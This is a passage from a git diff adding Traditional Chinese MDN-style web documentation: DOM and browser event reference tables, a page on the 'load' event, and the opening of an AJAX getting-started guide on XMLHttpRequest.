+   <td>The session store will stop tracking this window.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/SSTabClosing">SSTabClosing</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>The session store will stop tracking this tab.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/SSTabRestoring">SSTabRestoring</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A tab is about to be restored.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/SSTabRestored">SSTabRestored</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been restored.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/SSWindowStateReady">SSWindowStateReady</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A window state has switched to "ready".</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/SSWindowStateBusy">SSWindowStateBusy</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A window state has switched to "busy".</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/tabviewsearchenabled">tabviewsearchenabled</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>The search feature of Panorama has been activated</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/tabviewsearchdisabled">tabviewsearchdisabled</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>The search feature of Panorama has been deactivated</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/tabviewframeinitialized">tabviewframeinitialized</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>The frame container of Panorama has been initialized</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/tabviewshown">tabviewshown</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>The Panorama tab has been shown</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/tabviewhidden">tabviewhidden</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>The Panorama tab has been hidden</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/TabOpen">TabOpen</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been opened.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/TabClose">TabClose</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been closed.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/TabSelect">TabSelect</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been selected.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/TabShow">TabShow</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been shown.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/TabHide">TabHide</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been hidden.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/TabPinned">TabPinned</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been pinned.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/TabUnpinned">TabUnpinned</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been unpinned.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="開發者工具（Developer_tool_）專屬事件">開發者工具（Developer tool ）專屬事件</h3>
+
+<table class="standard-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <th class="header" style="width: 220px;">事件名稱</th>
+   <th class="header" style="width: 90px;">事件類型</th>
+   <th class="header" style="width: 100px;">規範</th>
+   <th class="header">觸發時機</th>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/CssRuleViewRefreshed">CssRuleViewRefreshed</a></td>
+   <td></td>
+   <td><em>devtools specific</em></td>
+   <td>The "Rules" view of the style inspector has been updated.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/CssRuleViewChanged">CssRuleViewChanged</a></td>
+   <td></td>
+   <td><em>devtools specific</em></td>
+   <td>The "Rules" view of the style inspector has been changed.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/CssRuleViewCSSLinkClicked">CssRuleViewCSSLinkClicked</a></td>
+   <td></td>
+   <td><em>devtools specific</em></td>
+   <td>A link to a CSS file has been clicked in the "Rules" view of the style inspector.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="事件分類">事件分類</h2>
+
+<h3 id="動畫事件（Animation_events）">動畫事件（Animation events）</h3>
+
+<p>{{event("animationend")}}, {{event("animationiteration")}}, {{event("animationstart")}}, {{event("beginEvent")}}, {{event("endEvent")}}, {{event("repeatEvent")}}</p>
+
+<h3 id="電池相關事件（Battery_events）">電池相關事件（Battery events）</h3>
+
+<p>{{event("chargingchange")}} {{event("chargingtimechange")}}, {{event("dischargingtimechange")}} {{event("levelchange")}}</p>
+
+<h3 id="電話事件（Call_events）">電話事件（Call events）</h3>
+
+<p>{{event("alerting")}}, {{event("busy")}}, {{event("callschanged")}} {{event("cfstatechange")}}, {{event("connected")}}, {{event("connecting")}}, {{event("dialing")}}, {{event("disconnected")}}, {{event("disconnecting")}}, {{event("error_(Telephony)","error")}}, {{event("held")}}, {{event("holding")}}, {{event("incoming")}}, {{event("resuming")}}, {{event("statechange")}}, {{event("voicechange")}}</p>
+
+<h3 id="CSS_事件">CSS 事件</h3>
+
+<p><a href="/zh-TW/docs/Web/Reference/Events/CssRuleViewRefreshed">CssRuleViewRefreshed</a>, <a href="/zh-TW/docs/Web/Reference/Events/CssRuleViewChanged">CssRuleViewChanged</a>, <a href="/zh-TW/docs/Web/Reference/Events/CssRuleViewCSSLinkClicked">CssRuleViewCSSLinkClicked</a>, {{event("transitionend")}}</p>
+
+<h3 id="資料庫事件">資料庫事件</h3>
+
+<p><code><a href="/zh-TW/docs/Web/Reference/Events/abort_indexedDB">abort</a></code>, <code><a href="/zh-TW/docs/Web/Reference/Events/blocked_indexedDB">blocked</a></code>, <code><a href="/zh-TW/docs/Web/Reference/Events/complete_indexedDB">complete</a></code>, {{event("error")}} (<a href="/zh-TW/docs/Web/Reference/Events/error">link</a>), <code><a href="/zh-TW/docs/Web/Reference/Events/success_indexedDB">success</a></code>, <code><a href="/zh-TW/docs/Web/Reference/Events/upgradeneeded_indexedDB">upgradeneeded</a></code>, <code><a href="/zh-TW/docs/Web/Reference/Events/versionchange_indexedDB">versionchange</a></code></p>
+
+<h3 id="Document_事件">Document 事件</h3>
+
+<p><a href="/zh-TW/docs/Web/Reference/Events/DOMLinkAdded">DOMLinkAdded</a>, <a href="/zh-TW/docs/Web/Reference/Events/DOMLinkRemoved">DOMLinkRemoved</a>, <a href="/zh-TW/docs/Web/Reference/Events/DOMMetaAdded">DOMMetaAdded</a>, <a href="/zh-TW/docs/Web/Reference/Events/DOMMetaRemoved">DOMMetaRemoved</a>,<a href="/zh-TW/docs/Web/Reference/Events/DOMWillOpenModalDialog">DOMWillOpenModalDialog</a>, <a href="/zh-TW/docs/Web/Reference/Events/DOMModalDialogClosed">DOMModalDialogClosed</a>, {{event("unload")}}</p>
+
+<h3 id="DOM_mutation_events">DOM mutation events</h3>
+
+<p><code><a href="/zh-TW/docs/DOM/Mutation_events">DOMAttributeNameChanged</a></code>, <code><a href="/zh-TW/docs/DOM/Mutation_events">DOMAttrModified</a></code>, <code><a href="/zh-TW/docs/DOM/Mutation_events">DOMCharacterDataModified</a></code>, {{event("DOMContentLoaded")}}, <code><a href="/zh-TW/docs/DOM/Mutation_events">DOMElementNameChanged</a></code>, <code><a href="/zh-TW/docs/DOM/Mutation_events">DOMNodeInserted</a></code>,<code><a href="/zh-TW/docs/DOM/Mutation_events">DOMNodeInsertedIntoDocument</a></code>, <code><a href="/zh-TW/docs/DOM/Mutation_events">DOMNodeRemoved</a></code>, <code><a href="/zh-TW/docs/DOM/Mutation_events">DOMNodeRemovedFromDocument</a></code>,<code><a href="/zh-TW/docs/DOM/Mutation_events">DOMSubtreeModified</a></code></p>
+
+<h3 id="拖曳事件">拖曳事件</h3>
+
+<p>{{event("drag")}}, <code>dragdrop</code>, {{event("dragend")}}, {{event("dragenter")}}, <code>dragexit</code>, <code>draggesture</code>, {{event("dragleave")}}, {{event("dragover")}}, {{event("dragstart")}}, {{event("drop")}}</p>
+
+<h3 id="元素相關事件">元素相關事件</h3>
+
+<p>{{event("invalid")}}, {{event("overflow")}}, {{event("underflow")}}, <a href="/zh-TW/docs/Web/Reference/Events/DOMAutoComplete">DOMAutoComplete</a>, {{event("command")}}, {{event("commandupdate")}}</p>
+
+<h3 id="Focus_events">Focus events</h3>
+
+<p>{{event("blur")}}, {{event("change")}}, <code>DOMFocusIn</code>, <code>DOMFocusOut</code>, {{event("focus")}}, {{event("focusin")}}, {{event("focusout")}}</p>
+
+<h3 id="表單相關事件">表單相關事件</h3>
+
+<p>{{event("reset")}}, {{event("submit")}}</p>
+
+<h3 id="Frame_相關事件">Frame 相關事件</h3>
+
+<p>{{event("mozbrowserclose")}}, {{event("mozbrowsercontextmenu")}}, {{event("mozbrowsererror")}}, {{event("mozbrowsericonchange")}}, {{event("mozbrowserlocationchange")}}, {{event("mozbrowserloadend")}}, {{event("mozbrowserloadstart")}}, {{event("mozbrowseropenwindow")}}, {{event("mozbrowsersecuritychange")}}, {{event("mozbrowsershowmodalprompt")}} (<a href="/zh-TW/docs/Web/Reference/Events/mozbrowsershowmodalprompt">link</a>), {{event("mozbrowsertitlechange")}}, <a href="/zh-TW/docs/Web/Reference/Events/DOMFrameContentLoaded">DOMFrameContentLoaded</a></p>
+
+<h3 id="Input_device_events">Input device events</h3>
+
+<p>{{event("click")}}, {{event("contextmenu")}}, {{event("DOMMouseScroll")}}, {{event("dblclick")}}, {{event("gamepadconnected")}}, {{event("gamepaddisconnected")}}, {{event("keydown")}}, {{event("keypress")}}, {{event("keyup")}}, {{event("MozGamepadButtonDown")}}, {{event("MozGamepadButtonUp")}}, {{event("mousedown")}}, {{event("mouseenter")}}, {{event("mouseleave")}}, {{event("mousemove")}}, {{event("mouseout")}}, {{event("mouseover")}}, {{event("mouseup")}}, {{event("mousewheel")}}, {{event("MozMousePixelScroll")}}, {{event("pointerlockchange")}}, {{event("pointerlockerror")}},{{event("wheel")}}</p>
+
+<h3 id="多媒體事件">多媒體事件</h3>
+
+<p>{{event("audioprocess")}}, {{event("canplay")}}, {{event("canplaythrough")}}, {{event("durationchange")}}, {{event("emptied")}}, {{event("ended")}}, {{event("ended_(Web_Audio)", "ended")}}, {{event("loadeddata")}}, {{event("loadedmetadata")}}, {{event("MozAudioAvailable")}}, {{event("pause")}}, {{event("play")}}, {{event("playing")}}, {{event("ratechange")}}, {{event("seeked")}}, {{event("seeking")}}, {{event("stalled")}}, {{event("suspend")}}, {{event("timeupdate")}}, {{event("volumechange")}}, {{event("waiting")}}, {{event("complete")}}</p>
+
+<h3 id="目錄事件">目錄事件</h3>
+
+<p>{{event("DOMMenuItemActive")}}, {{event("DOMMenuItemInactive")}}</p>
+
+<h3 id="網路相關事件">網路相關事件</h3>
+
+<p>{{event("datachange")}}, {{event("dataerror")}}, {{event("disabled")}}, {{event("enabled")}}, {{event("offline")}}, {{event("online")}}, {{event("statuschange")}}, {{event("connectionInfoUpdate")}},</p>
+
+<h3 id="Notification_events">Notification events</h3>
+
+<p><a href="/zh-TW/docs/Web/Reference/Events/AlertActive">AlertActive</a>, <a href="/zh-TW/docs/Web/Reference/Events/AlertClose">AlertClose</a></p>
+
+<h3 id="Pointer_events">Pointer events</h3>
+
+<p>{{event("pointerover")}}, {{event("pointerenter")}}, {{event("pointerdown")}}, {{event("pointermove")}}, {{event("pointerup")}}, {{event("pointercancel")}}, {{event("pointerout")}}, {{event("pointerleave")}}, {{event("gotpointercapture")}}, {{event("lostpointercapture")}}</p>
+
+<h3 id="Popup_events">Popup events</h3>
+
+<p>{{event("popuphidden")}}, {{event("popuphiding")}}, {{event("popupshowing")}}, {{event("popupshown")}}, <a href="/zh-TW/docs/Web/Reference/Events/DOMPopupBlocked">DOMPopupBlocked</a></p>
+
+<h3 id="列印相關事件">列印相關事件</h3>
+
+<p>{{event("afterprint")}}, {{event("beforeprint")}}</p>
+
+<h3 id="Progress_events">Progress events</h3>
+
+<p><code><a href="/zh-TW/docs/Web/Reference/Events/abort_(ProgressEvent)">abort</a></code>, {{event("error")}}, <code><a href="/zh-TW/docs/Web/Reference/Events/load_(ProgressEvent)">load</a></code>, {{event("loadend")}}, {{event("loadstart")}}, {{event("progress")}},<code><a href="/zh-TW/docs/Web/Reference/Events/progress_(appcache_event)">progress</a></code>, {{event("timeout")}}, <code>uploadprogress</code></p>
+
+<h3 id="Resource_events">Resource events</h3>
+
+<p>{{event("abort")}}, {{event("cached")}}, {{event("error")}}, {{event("load")}}</p>
+
+<h3 id="Script_events">Script events</h3>
+
+<p>{{event("afterscriptexecute")}}, {{event("beforescriptexecute")}}</p>
+
+<h3 id="Sensor_events">Sensor events</h3>
+
+<p>{{event("compassneedscalibration")}}, {{event("devicelight")}}, {{event("devicemotion")}}, {{event("deviceorientation")}}, {{event("deviceproximity")}}, {{event("MozOrientation")}}, {{event("orientationchange")}}, {{event("userproximity")}}</p>
+
+<h3 id="Session_history_events">Session history events</h3>
+
+<p>{{event("pagehide")}}, {{event("pageshow")}}, {{event("popstate")}}</p>
+
+<h3 id="Smartcard_events">Smartcard events</h3>
+
+<p>{{event("icccardlockerror")}}, {{event("iccinfochange")}}, {{event("smartcard-insert")}}, {{event("smartcard-remove")}}, {{event("stkcommand")}}, {{event("stksessionend")}}, {{event("cardstatechange")}}</p>
+
+<h3 id="SMS_and_USSD_events">SMS and USSD events</h3>
+
+<p>{{event("delivered")}}, {{event("received")}}, {{event("sent")}}, {{event("ussdreceived")}}</p>
+
+<h3 id="Storage_events">Storage events</h3>
+
+<p>{{event("change")}} (see {{anch("Non-standard events")}}), {{event("storage")}}</p>
+
+<h3 id="SVG_事件">SVG 事件</h3>
+
+<p>{{event("SVGAbort")}}, {{event("SVGError")}}, {{event("SVGLoad")}}, {{event("SVGResize")}}, {{event("SVGScroll")}}, {{event("SVGUnload")}}, {{event("SVGZoom")}}</p>
+
+<h3 id="Tab_events">Tab events</h3>
+
+<p><a href="/zh-TW/docs/Web/Reference/Events/tabviewsearchenabled">tabviewsearchenabled</a>, <a href="/zh-TW/docs/Web/Reference/Events/tabviewsearchdisabled">tabviewsearchdisabled</a>, <a href="/zh-TW/docs/Web/Reference/Events/tabviewframeinitialized">tabviewframeinitialized</a>, <a href="/zh-TW/docs/Web/Reference/Events/tabviewshown">tabviewshown</a>,<a href="/zh-TW/docs/Web/Reference/Events/tabviewhidden">tabviewhidden</a>, <a href="/zh-TW/docs/Web/Reference/Events/TabOpen">TabOpen</a>, <a href="/zh-TW/docs/Web/Reference/Events/TabClose">TabClose</a>, <a href="/zh-TW/docs/Web/Reference/Events/TabSelect">TabSelect</a>, <a href="/zh-TW/docs/Web/Reference/Events/TabShow">TabShow</a>, <a href="/zh-TW/docs/Web/Reference/Events/TabHide">TabHide</a>, <a href="/zh-TW/docs/Web/Reference/Events/TabPinned">TabPinned</a>, <a href="/zh-TW/docs/Web/Reference/Events/TabUnpinned">TabUnpinned</a>,<a href="/zh-TW/docs/Web/Reference/Events/SSTabClosing">SSTabClosing</a>, <a href="/zh-TW/docs/Web/Reference/Events/SSTabRestoring">SSTabRestoring</a>, <a href="/zh-TW/docs/Web/Reference/Events/SSTabRestored">SSTabRestored</a>, {{event("visibilitychange")}}</p>
+
+<h3 id="Text_events">Text events</h3>
+
+<p>{{event("compositionend")}}, {{event("compositionstart")}}, {{event("compositionupdate")}}, {{event("copy")}}, {{event("cut")}}, {{event("paste")}}, {{event("select")}}, <code>text</code></p>
+
+<h3 id="Touch_events">Touch events</h3>
+
+<p><a href="/zh-TW/docs/Web/Reference/Events/MozEdgeUIGesture">MozEdgeUIGesture</a>, <a href="/zh-TW/docs/Web/Reference/Events/MozMagnifyGesture">MozMagnifyGesture</a>, <a href="/zh-TW/docs/Web/Reference/Events/MozMagnifyGestureStart">MozMagnifyGestureStart</a>, <a href="/zh-TW/docs/Web/Reference/Events/MozMagnifyGestureUpdate">MozMagnifyGestureUpdate</a>,<a href="/zh-TW/docs/Web/Reference/Events/MozPressTapGesture">MozPressTapGesture</a>, <a href="/zh-TW/docs/Web/Reference/Events/MozRotateGesture">MozRotateGesture</a>, <a href="/zh-TW/docs/Web/Reference/Events/MozRotateGestureStart">MozRotateGestureStart</a>, <a href="/zh-TW/docs/Web/Reference/Events/MozRotateGestureUpdate">MozRotateGestureUpdate</a>,<a href="/zh-TW/docs/Web/Reference/Events/MozSwipeGesture">MozSwipeGesture</a>, <a href="/zh-TW/docs/Web/Reference/Events/MozTapGesture">MozTapGesture</a>, <a href="/zh-TW/DOM/Touch_events_(Mozilla_experimental)">MozTouchDown</a>, <a href="/zh-TW/DOM/Touch_events_(Mozilla_experimental)">MozTouchMove</a>, <a href="/zh-TW/DOM/Touch_events_(Mozilla_experimental)">MozTouchUp</a>, {{event("touchcancel")}}, {{event("touchend")}}, {{event("touchenter")}}, {{event("touchleave")}}, {{event("touchmove")}}, {{event("touchstart")}}</p>
+
+<h3 id="Update_events">Update events</h3>
+
+<p>{{event("checking")}}, {{event("downloading")}}, {{event("error")}}, {{event("noupdate")}}, {{event("obsolete")}}, {{event("updateready")}}</p>
+
+<h3 id="Value_change_events">Value change events</h3>
+
+<p>{{event("broadcast")}}, {{event("CheckboxStateChange")}}, {{event("hashchange")}}, {{event("input")}}, {{event("RadioStateChange")}}, {{event("readystatechange")}}, {{event("ValueChange")}}</p>
+
+<h3 id="View_events">View events</h3>
+
+<p><a href="/zh-TW/docs/Web/Reference/Events/fullscreen">fullscreen</a>, {{event("fullscreenchange")}}, {{event("fullscreenerror")}}, <a href="/zh-TW/docs/Web/Reference/Events/MozEnteredDomFullscreen">MozEnteredDomFullscreen</a>, {{event("MozScrolledAreaChanged")}}, {{event("resize")}}, {{event("scroll")}}, <a href="/zh-TW/docs/Web/Reference/Events/sizemodechange">sizemodechange</a></p>
+
+<h3 id="Websocket_事件">Websocket 事件</h3>
+
+<p><code><a href="/zh-TW/docs/Web/Reference/Events/close_websocket">close</a></code>, {{event("error")}}, <code><a href="/zh-TW/docs/Web/Reference/Events/message_websocket">message</a></code>, <code><a href="/zh-TW/docs/Web/Reference/Events/open_websocket">open</a></code></p>
+
+<h3 id="Window_events">Window events</h3>
+
+<p><a href="/zh-TW/docs/Web/Reference/Events/DOMWindowCreated">DOMWindowCreated</a>, <a href="/zh-TW/docs/Web/Reference/Events/DOMWindowClose">DOMWindowClose</a>, <a href="/zh-TW/docs/Web/Reference/Events/DOMTitleChanged">DOMTitleChanged</a>, <a href="/zh-TW/docs/Web/Reference/Events/MozBeforeResize">MozBeforeResize</a> {{obsolete_inline}},<a href="/zh-TW/docs/Web/Reference/Events/SSWindowClosing">SSWindowClosing</a>, <a href="/zh-TW/docs/Web/Reference/Events/SSWindowStateReady">SSWindowStateReady</a>, <a href="/zh-TW/docs/Web/Reference/Events/SSWindowStateBusy">SSWindowStateBusy</a>, <a href="/zh-TW/docs/Web/Reference/Events/close_event">close</a></p>
+
+<h3 id="尚未分類的事件">尚未分類的事件</h3>
+
+<p>{{event("beforeunload")}}, {{event("localized")}}, <code><a href="/zh-TW/docs/Web/Reference/Events/message_webworker">message</a></code>, <code><a href="/zh-TW/docs/Web/Reference/Events/message_webmessaging">message</a></code>, <code><a href="/zh-TW/docs/Web/Reference/Events/message_serversentevents">message</a></code>, <a href="/zh-TW/docs/Web/Reference/Events/MozAfterPaint">MozAfterPaint</a>, {{event("moztimechange")}}, <code><a href="/zh-TW/docs/Web/Reference/Events/open_serversentevents">open</a></code>, {{event("show")}}</p>
+
+<h2 id="延伸閱讀">延伸閱讀</h2>
+
+<ul>
+ <li>{{domxref("Event")}}</li>
+ <li><a href="/zh-TW/docs/Web/Guide/DOM/Events">Event developer guide</a></li>
+</ul>
diff --git a/files/zh-tw/web/events/load/index.html b/files/zh-tw/web/events/load/index.html
new file mode 100644
index 0000000000..7c6d314925
--- /dev/null
+++ b/files/zh-tw/web/events/load/index.html
@@ -0,0 +1,88 @@
+---
+title: load
+slug: Web/Events/load
+translation_of: Web/API/Window/load_event
+---
+<p><code>load</code> 事件發生在加載完目標資源、該資源依賴的其他資源時。</p>
+
+<h2 id="一般資訊">一般資訊</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">規範</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-load">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">介面</dt>
+ <dd style="margin: 0 0 0 120px;">UIEvent</dd>
+ <dt style="float: left; text-align: right; width: 120px;">起泡事件</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">可取消</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">對象</dt>
+ <dd style="margin: 0 0 0 120px;">Window</dd>
+ <dt style="float: left; text-align: right; width: 120px;">預設行為</dt>
+ <dd style="margin: 0 0 0 120px;">None.</dd>
+</dl>
+
+<h2 id="屬性">屬性</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: html">&lt;script&gt;
+  window.addEventListener("load", function(event) {
+    console.log("All resources finished loading!");
+  });
+&lt;/script&gt;
+</pre>
+
+<p> </p>
+
+<h2 id="相關事件">相關事件</h2>
+
+<ul>
+ <li>{{event("DOMContentLoaded")}}</li>
+ <li>{{event("readystatechange")}}</li>
+ <li>{{event("load")}}</li>
+ <li>{{event("beforeunload")}}</li>
+ <li>{{event("unload")}}</li>
+</ul>
diff --git a/files/zh-tw/web/guide/ajax/getting_started/index.html b/files/zh-tw/web/guide/ajax/getting_started/index.html
new file mode 100644
index 0000000000..7e27c1ebac
--- /dev/null
+++ b/files/zh-tw/web/guide/ajax/getting_started/index.html
@@ -0,0 +1,287 @@
+---
+title: 入門篇
+slug: Web/Guide/AJAX/Getting_Started
+tags:
+  - AJAX
+  - API
+  - Advanced
+  - JavaScript
+  - WebMechanics
+  - XMLHttpRequest
+translation_of: Web/Guide/AJAX/Getting_Started
+---
+<p class="summary">這篇文章說明 AJAX 相關技術的基礎，並提供兩個簡單的實際操作範例供您入門。</p>
+
+<h3 id="AJAX_是什麼？">AJAX 是什麼？</h3>
+
+<p>AJAX 代表 <strong>A</strong>synchronous <strong>J</strong>avaScript <strong>A</strong>nd <strong>X</strong>ML，即非同步 JavaScript 及 XML。簡單地說，AJAX 使用 {{domxref("XMLHttpRequest")}} 物件來與伺服器進行通訊。它可以傳送並接收多種格式的資訊，包括 JSON、XML、HTML、以及文字檔案。AJAX 最吸引人的特點是「非同步」的本質，這代表它可以與伺服溝通、交換資料、以及更新頁面，且無須重整網頁。</p>
+
+<p>有兩項即將討論到的特點如下︰</p>
+
+<ul>
+ <li>無須重新載入整個頁面，便能對伺服器發送請求</li>
+ <li>分析並運用 XML 文件</li>
+</ul>
+
+<h3 id="第一步_–_如何發出_HTTP_請求">第一步 – 如何發出 HTTP 請求</h3>
+
+<p>為了使用 JavaScript 向伺服器發送 HTTP 請求，便需要一個能夠提供相關功能的類別實體（an instance of a class）。這樣的類別最初由 Internet Explorer 以 ActiveX 物件的方式引入，稱為 <code>XMLHTTP</code>。Mozilla、Safari 及其他瀏覽器則隨後跟進，實作了 <code>XMLHttpRequest</code> 類別，以提供微軟最初的 ActiveX 物件中的方法及屬性。</p>
+
+<p>因此，為了建立能夠跨瀏覽器的物件實體，可以這麼寫：</p>
+
+<pre class="brush: js notranslate">// Old compatibility code, no longer needed.
+if (window.XMLHttpRequest) { // Mozilla, Safari, IE7+ ...
+    httpRequest = new XMLHttpRequest();
+} else if (window.ActiveXObject) { // IE 6 and older
+    httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
+}
+</pre>
+
+<div class="note"><strong>備註：</strong>出於解說上的需要，上述代碼使用最簡方式建立 XMLHTTP 的實體。較貼近實際運用的範例，見第三步。</div>
+
+<p>部分版本的 Mozilla 瀏覽器，在伺服器送回的資料未含 XML <code>mime-type</code> 標頭（header）時會出錯。為了避免這個問題，你可以用下列方法覆寫伺服器傳回的檔頭，以免傳回的不是 <code>text/xml</code>。</p>
+
+<pre class="notranslate">httpRequest = new XMLHttpRequest();
+httpRequest.overrideMimeType('text/xml');
+</pre>
+
+<p>接下來是要決定伺服器傳回資料後的處理方式，此時你只要以 <code>onreadystatechange</code> 這個屬性指明要處理傳回值的 JavaScript 函式名稱即可，例如：</p>
+
+<pre class="brush: js notranslate"><code>httpRequest.onreadystatechange = nameOfTheFunction;</code></pre>
+
+<p>注意，指定的函式名稱後不加括號也沒有參數。這只是簡單的賦值，而非真的呼叫函數。除了指定函式名稱外，你也能用 Javascript 即時定義函式的技巧（稱為〝匿名函數〞）來定一個新的處理函式，如下：</p>
+
+<pre class="brush: js notranslate">httpRequest.onreadystatechange = function(){
+    // 做些事
+};
+</pre>
+
+<p>決定處理方式之後你得確實發出 request，此時需叫用 HTTP request 類別的 <code>open()</code> 及 <code>send()</code> 方法，如下：</p>
+
+<pre class="brush: js notranslate">httpRequest.open('GET', 'http://www.example.org/some.file', true);
+httpRequest.send();
+</pre>
+
+<ul>
+ <li><code>open()</code> 的第一個參數是 HTTP request 的方法，也就是從 GET、POST、HEAD 等伺服器支援的方法中擇一使用。為遵循 HTTP 標準，請記得這些方法都是大寫，否則有的瀏覽器（如 Firefox）不會處理這些請求。其他可用的 HTTP request 方法的列表請參考 <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html">W3C 規格書</a>。</li>
+ <li>第二個參數是請求頁面的 URL。基於安全考量，你不能叫用同網域以外的網頁。如果網域不同，則叫用 <code>open()</code> 時會出現「權限不足，拒絕存取」那類的錯誤。常見的錯誤多為在 domain.tld 的網站下呼叫 www.domain.tld 中的網頁，僅是一點點差別都不行。</li>
+ <li>第三個參數決定此 request 是否不同步進行，如果設定為 <code>TRUE</code> 則即使伺服器尚未傳回資料也會繼續執行其餘的程式，這也就是 AJAX 中第一個 A 代表的意義。</li>
+</ul>
+
+<p><code>send()</code> 的參數在以 POST 發出 request 時，可以是任何想傳給伺服器的東西，而資料則以查詢字串的方式列出，例如：</p>
+
+<pre class="notranslate"><code>"name=value&amp;anothername="+encodeURIComponent(myVar)+"&amp;so=on"</code></pre>
+
+<p>不過如果你想要以 POST 方式傳送資料，則必須先將 MIME 型態改好，如下：</p>
+
+<pre class="brush: js notranslate">httpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
+</pre>
+
+<p>否則伺服器就不會理你傳過來的資料了。</p>
+
+<h3 id="第二步_–_處理伺服器傳回的資料">第二步 – 處理伺服器傳回的資料</h3>
+
+<p>傳出 request 時必須提供處理傳回值的函數名稱，這個函數是用來處理伺服器的回應。</p>
+
+<pre class="brush: js notranslate">httpRequest.onreadystatechange = nameOfTheFunction;
+</pre>
+
+<p>那麼來看看這個函數該做些什麼。首先，它必須檢查 request 目前的狀態。如果狀態值為 4 代表伺服器已經傳回所有資訊了，便可以開始解析所得資訊。</p>
+
+<pre class="brush: js notranslate">if (httpRequest.readyState === XMLHttpRequest.DONE) {
